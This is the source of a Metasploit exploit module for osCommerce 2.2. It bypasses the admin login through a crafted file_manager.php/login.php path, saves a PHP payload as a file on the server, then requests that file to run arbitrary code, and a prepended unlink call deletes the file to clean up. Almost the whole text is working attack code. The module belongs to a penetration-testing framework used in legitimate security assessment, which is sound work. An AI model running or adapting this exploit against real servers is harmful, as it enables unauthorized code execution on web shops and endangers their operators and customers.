osCommerce 2.2 Arbitrary PHP Code Execution

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'osCommerce 2.2 Arbitrary PHP Code Execution',
        'Description' => %q{
          osCommerce is a popular open source E-Commerce application.
          The admin console contains a file management utility that
          allows administrators to upload, download, and edit files.
          This could be abused to allow unauthenticated attackers to
          execute arbitrary code with the permissions of the
          webserver.
        },
        'Author' => [ 'egypt' ],
        'License' => MSF_LICENSE,
        'References' => [
          [ 'CVE', '2009-20006' ],
          [ 'OSVDB', '60018' ],
          [ 'EDB', '9556' ]
        ],
        'Privileged' => false,
        'Platform' => ['php'],
        'Arch' => ARCH_PHP,
        'Payload' => {
          'Space' => 4000,
          # max url length for some old versions of apache according to
          # http://www.boutell.com/newfaq/misc/urllength.html
          'DisableNops' => true,
          # 'BadChars'    => %q|'"`|,  # quotes are escaped by PHP's magic_quotes_gpc in a default install
          'Compat' =>
                        {
                          'ConnectionType' => 'find',
                        },
          # Since our payload is uploaded as a file, it is polite to
          # clean up after ourselves.
          'Prepend' => "unlink(__FILE__);",
          'Keys' => ['php'],
        },
        'Targets' => [ ['Automatic', {}], ],
        'DefaultTarget' => 0,
        'DisclosureDate' => '2009-08-31',
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )

    register_options(
      [
        OptString.new('URI', [ true, "Base osCommerce directory path", '/catalog/']),
      ]
    )
  end

  def exploit
    # Our filename gets run through basename(), so we can have arbitrary
    # junk in front of slashes and it will get stripped out. The unlink in
    # Payload => Prepend above ensures that the file is deleted.
    filename = rand_text_alphanumeric(rand(5) + 5) + "/"
    (rand(5) + 5).times do
      filename << rand_text_alphanumeric(rand(5) + 5) + "/"
    end
    filename << rand_text_alphanumeric(rand(5) + 5) + ".php"

    p = rand_text_english(rand(100) + 100) + "<?php " + payload.encoded + " ?>" + rand_text_english(rand(100) + 100)
    p = Rex::Text.uri_encode(p)
    data = "filename=#{filename}&file_contents=#{p}"

    print_status("Sending file save request")
    response = send_request_raw({
      'uri'	=> normalize_uri(datastore['URI'], "admin/file_manager.php/login.php") + "?action=save",
      'method' => 'POST',
      'data' => data,
      'ctype' => 'application/x-www-form-urlencoded'
    }, 3)

    # If the upload worked, the server tries to redirect us to some info
    # about the file we just saved
    if response and response.code != 302
      print_error("Server returned non-302 status code (#{response.code})")
    end

    print_status("Requesting our payload")
    # very short timeout because the request may never return if we're
    # sending a socket payload
    timeout = 0.1
    response = send_request_raw({
      # Allow findsock payloads to work
      'global' => true,
      'uri' => normalize_uri(datastore['URI'], File.basename(filename))
    }, timeout)

    handler
  end
end